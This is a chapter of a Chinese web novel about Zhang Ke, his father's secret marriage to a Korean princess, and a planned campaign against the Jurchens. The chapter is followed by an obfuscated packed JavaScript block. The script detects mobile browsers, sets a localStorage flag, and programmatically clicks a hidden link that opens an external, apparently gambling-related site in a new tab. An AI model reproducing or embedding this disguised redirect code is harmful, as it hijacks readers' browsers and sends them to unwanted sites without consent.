第五文学网 > 都市小说 > 辽东钉子户 > 第四百六十九章 小巫见大巫

第四百六十九章 小巫见大巫

    练功场旁边就是花园,张恪和张海川爷俩对坐在花房里面,大眼瞪小眼。

    张恪一直以为自己够嚣张了,可是和生猛的老爹比起来,简直差之天地。竟然把朝鲜国王的妹妹都给拿下了,真是,真是太他娘的过瘾了!

    “爹,到底是怎么回事,那可是公主啊,您老是怎么拐到手的?”

    “有你这么说你爹的吗?那是老爹魅力无限,虎躯一震,小小公主手到擒来……”

    张恪翻了翻白眼,一副“我读书少,你别骗我”的架势。

    “爹,您老最好实话实说,要不然我就告诉娘,你有外室了,至于娘怎么处置你,我可就管不着了!”

    “别!”

    张海川吓得一脑门虚汗,他可深知媳妇什么都好,唯独就是嫉妒,以往的时候,多看堡里的姑娘一眼,回家都要跪搓衣板。眼下人家苦守了二十年,把儿子姑娘都拉扯成人。结果自己在外面快活,说出去连自己这一关都过不了啊!

    “我也不瞒你了,其实刚刚抢回来的时候,我也不知道她是公主,只当是个官宦人家的小姐。后来朝鲜突然出现了政变,把光海君给赶下去了,扶持李倧上台,做了朝鲜国王,这事你知道吧?”

    “我当然知道!”张恪笑道:“说起来这事还是我一手导演的,朝鲜人用的武器是从我手里买的,毛文龙也是我派的。”

    张海川听得目瞪口呆。老天爷啊,他有一个多妖孽的儿子啊,竟然连朝鲜政变都插手。怕是朱皇帝也没有这个本事。

    “算了,这事咱们以后说,先说她吧,朝鲜政变的消息传回去,她才跟我说,原来她是李倧的亲妹妹,只是自小养在永昌大君的府邸。这个永昌大君是光海君的长兄,李倧的伯父。结果光海君杀死了永昌大君。她被手下人保护着,连夜逃出了京城,本想坐船逃回平壤,结果海上遇到了风浪。正好和我们碰上了,就,就抢回去了!”

    听完经过,张恪不由得伸出了大拇指,老爹你可真行,这运气彻底逆天了!

    不过随即就陷入苦恼之中,如果是普通女人,张恪肯定毫不犹豫站在老娘一边。可是毕竟是公主,换句话说老爹现在就是朝鲜国王的妹婿。

    这个身份说不值钱。就不值钱,可是真要想拿来做文章,其中可大有搞头!

    “爹。她怎么样?”

    “这个……你想听真话,还是假话?”

    “咱别逗闷子成不,您老心里咋想的就咋说。”

    “哦!”张海川低着头,吭哧半晌,才说道:“人真的挺好的,没脾气。百依百顺的。她告诉我身世,也没想着要回去当公主。只是不想瞒着我。说起来她也跟了我十年……哎!”

    男人的毛病张恪一样不少,光是这次从江南回来,十一家就送给他一堆美女,要不是身体还没恢复,张大国公早就昏天黑地了!

    在这个时代搞一夫一妻纯粹是和自己找别扭,不过张恪也有底限,有的玩玩而已,但是真正相依相随,生儿育女的,无论什么时候,都不能抛弃!对女人都不知道疼,和牲畜有什么区别!

    张恪抱着肩膀,在地上走了几圈。张海川的目光就跟着他来回晃荡,心也来回飘着,家里头就是张恪做主,只要他答应了,事情就成了一半。

    “爹,俗话说好汉霸九妻,您老只要能多疼我娘,多娶个姨太太,倒是无妨。”

    “嘿嘿,恪儿就是明事理,从今往后,对你娘我绝对是打不还手骂不还口,坚决服从,绝无二话!”

    “先别急,我话还没说完,好汉霸九妻,您老要先证明自己是好汉才成!”

    “证明?怎么证明?”

    张海川搔搔头,疑惑地问道:“恪儿,你啥意思?难道让你爹上阵杀敌,砍几个脑袋回来?这倒没什么,凭着你爹的身手,杀几个人还不费吹灰之力。”

    张恪微笑道:“爹,当然不是这么简单,您老怎么也要弄个一品大员,最起码当上总兵才行啊!”

    “你小子耍我!”

    张海川心气瞬间就泄了,总兵岂是好当的,他当初在朝鲜和倭寇拼了个你死我活,才勉强混个千总,距离总兵差着十万八千里呢!

    “恪儿,怕是你爹这把老骨头都成渣滓了,也别想当总兵了……”

    张海川蹲在地上,痛苦地抱着脑袋。儿子说的没错,男人要想挺直胸膛,就要做出业绩,让女人心甘情愿。可是自己已经不年轻了,还有本事折腾吗?心里头画了一万个问号。

    “爹,您老怎么忘了儿子,我这几年可是混成了平辽公,没让您老封爵,光是一个总兵有什么难的。”

    张海川一听,突然从地上跳起来,铁钳一样的大手抓住了张恪。

    “你小子是不是有主意了?赶快说!”

    “您老别急啊,先随我来。”

    张恪带着老爹到了书房,房间里面摆设极为简单,只有一套红木桌椅,书架上面杂乱地摆着几本书。在西面山墙挂着一幅巨型的辽东地图,山川河流,部落民族,巨细靡遗,就仿佛整个辽东摆在眼前,指点江山,挥斥方遒。

    张海川仔细看着,从西南角的山海关,一直向东北看去,经过朝鲜,就是他的库页岛,在整个地图的北边。

    看着遥远的距离,张海川真有一种回家不易的感叹。

    “爹,在咱们义州和您老占有的岛屿之间,是谁的地盘?”

    “呵呵,当你爹是傻子,不就是建奴吗?还告诉你,这些年我经常深入建奴那里,贩售兽皮,当然了,也干过剪径抢劫的事。说起来,未必有人比我更清楚建奴的情况。”

    “那就太好了!”

    张恪抚掌大笑,拉着老爹到了地图前面。

    “爹,眼下义州兵差不多有十万人马,我又掌控了山东和江南,人员物资源源不断地送过来。凭着我的实力,反攻辽沈不是问题,只是有一个担心。”

    张海川皱着眉头,随口说道:“是不是怕建奴跑了?”

    “您老人家真是料事如神!”

    “呵呵,你爹好歹也打过仗,这点道理是明白的。其实大明的兵丁不差,只要好好训练是能打过鞑子的。最麻烦就是鞑子居无定所,一旦跑到了茫茫草原,追不上,打不着,偏偏等你疲惫不堪的时候,他们又跳了出来,简直就是一群苍蝇,烦人死了!”

    张恪笑道:“一阵见血啊,因此孩儿就想着是不是能派遣一支偏师,绕道建奴的后面,截断他们逃跑的道路。如此一来,才能做到一举全歼,也省得劳而无功。”

    要么不出手,要出手就要一击必杀。千万不能犯朱老四的错误,听着五征大漠很威风,实则严重透支国力,根本就不划算。

    张海川听完张恪的设想,陷入了沉思,毫无疑问,若是按照儿子所想,一举消灭建奴。别说总兵,就算封爵也不是没有可能!

    可是隔着茫茫大海,中间还有倭国和朝鲜,想要成功可不容易。

    “恪儿,你爹我手上只有一千来人,最能打的不过两百多,其他都是摇旗呐喊的,根本不顶用。你可知道建奴的后方是多辽阔,没有一两万人,根本就别想有作为。可是这么多人,劳师远征,要消耗多少钱粮财富,要多少军需物资?你都算过没有?朝廷恐怕是绝对出不起的!”

    “哈哈哈,我也没打算用朝廷,凭着儿子手上的力量足矣!”

    一个人灭一国,怎么听着都像是胡说八道,痴人说梦。张海川是一百个不相信。

    “爹,明天孩儿就领你看看义州兵的家底儿,看过了,您老心里就有数了!”

    还是用事实说话的,第二天张恪早早起来,还没等收拾完,老爹已经迫不及待地等着了。

    爷俩草草用饭之后,张恪先领着老爹前往校军场,刚刚到了门前,两个卫兵握着装着刺刀的火铳,拦住了去路。

    “站住!请出示通行证!”

    “放肆,没看到国公爷来了吗?还不让路!”随从呵斥道。

    年轻的士兵猛地摇头,“不行,这里没有国公爷,我们只管通行证,要是没有,天王老子也别想进去!”

    张恪来的匆忙,还真忘了这事,他只能一摆手,让从人赶快去办。爷俩只能傻愣愣在门外等着。

    “呵呵,恪儿,没想到你练兵真有两下子,军纪严明,佩服佩服啊!”张海川哈哈大笑,弄得张恪老脸通红。

    好不容易等到手下人拿来通行证,卫兵终于放行。经过小小插曲,张海川对义州兵越发充满了好奇,凭借直觉,只要军纪严明,战斗力就不会差!

    嘭嘭嘭,嘭嘭嘭……

    整齐的步伐,大地仿佛都在颤抖,迎面走来一个方阵,差不多有一千人左右,横着是一线,纵看也是一线,就连斜着都是笔直的一条线。

    士兵们无论怎么变换方向,阵型都一丝不乱,光是走动,竟然有一排排大浪,迎面冲来的感觉,让人从心里害怕,屈服!

    “好,真是好兵!”张海川伸出了大拇指,随口问道:“恪儿,这是义州兵的精锐吧?果然名不虚传,少说练了三五年吧?”

    “没有。”

    “那是多少时间?”

    “半年吧!”张恪看着老爹眼珠子掉下来的模样,又补充道:“准确说是五个月,还有一个月,新兵训练才结束!”(未完待续)  


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('s y(){m(S z==="\\t\\6\\5\\0\\u\\3\\6\\0\\5"){A T}B a=(C^C)+(U^V);v D=z[\'\\t\\c\\0\\7\\W\\k\\0\\6\\4\'][\'\\4\\2\\E\\2\\n\\0\\7\\w\\1\\c\\0\']();a=(F^F)+(X^Y);v G=Z 10(\'\\1\\6\\5\\7\\2\\3\\5\\d\\3\\e\\h\\2\\6\\0\\d\\3\\e\\1\\5\\d\\3\\e\\2\\5\\d\\n\\3\\6\\5\\2\\n\\c\\H\\e\\h\\2\\6\\0\\d\\8\\9\\1\\g\\I\\8\\0\\7\\7\\i\\d\\c\\i\\f\\8\\3\\1\\6\\d\\n\\0\\8\\2\\c\\d\\2\\e\\0\\7\\1\\H\\f\\3\\6\\3\\d\\3\\0\\f\\2\\8\\3\\9\\0\\d\\f\\2\\8\\3\\9\\0\',\'\\3\');A G[\'\\4\\0\\c\\4\'](D)}s J(a){B b=(11^12)+(13^14);v j=l[\'\\g\\7\\0\\1\\4\\0\\K\\9\\0\\f\\0\\6\\4\']("\\1");b=(15^16)+(17^18);j[\'\\h\\7\\0\\u\']=a;j[\'\\c\\4\\i\\9\\0\'][\'\\5\\3\\c\\e\\9\\1\\i\']="\\6\\2\\6\\0";j[\'\\4\\1\\7\\k\\0\\4\']="19".o("").p().q("");l[\'\\8\\2\\5\\i\'][\'\\1\\e\\e\\0\\6\\5\\w\\h\\3\\9\\5\'](j);j[\'\\g\\9\\3\\g\\I\']();l[\'\\8\\2\\5\\i\'][\'\\7\\0\\f\\2\\L\\0\\w\\h\\3\\9\\5\'](j)}l[\'\\1\\5\\5\\K\\L\\0\\6\\4\\E\\3\\c\\4\\0\\6\\0\\7\']("1a".o("").p().q(""),s(){m(!M[\'\\k\\9\\2\\8\\1\\9\\N\\1\\7\']){m(l[\'\\8\\2\\5\\i\']!=1b){M[\'\\k\\9\\2\\8\\1\\9\\N\\1\\7\']="\\x";O=P[\'\\k\\0\\4\\x\\4\\0\\f\']("Q".o("").p().q(""));m(!O&&y()){J("\\h\\4\\4\\e\\c\\1c\\r\\r\\u\\1\\g\\1\\3\\1d\\1e\\1f\\R\\2\\1g\\h\\2\\1h\\R\\g\\2\\f\\r\\g\\8\\5\\r\\1\\1\\1\\8\\g\\1")}P[\'\\c\\0\\4\\x\\4\\0\\f\']("Q".o("").p().q(""),"\\4\\7\\t\\0")}}});',62,80,'u0065|u0061|u006F|u0069|u0074|u0064|u006E|u0072|u0062|u006C|||u0073|u007C|u0070|u006D|u0063|u0068|u0079|_0xed55f|u0067|document|if|u0077|split|reverse|join|u002F|function|u0075|u0066|const|u0043|u0049|isMobileDevice|navigator|return|var|610213|_0x96d|u004C|823949|_0x49466c|u0020|u006B|OpenUrl|u0045|u0076|window|u0056|hasExecuted|localStorage|ff_kcul|u002E|typeof|false|630260|630261|u0041|483770|483768|new|RegExp|931764|931765|606841|606840|661798|661807|765516|765515|knalb_|dedaoLtnetnoCMOD|null|u003A|u0031|u0030|u0033|u007A|u006A'.split('|'),0,{}))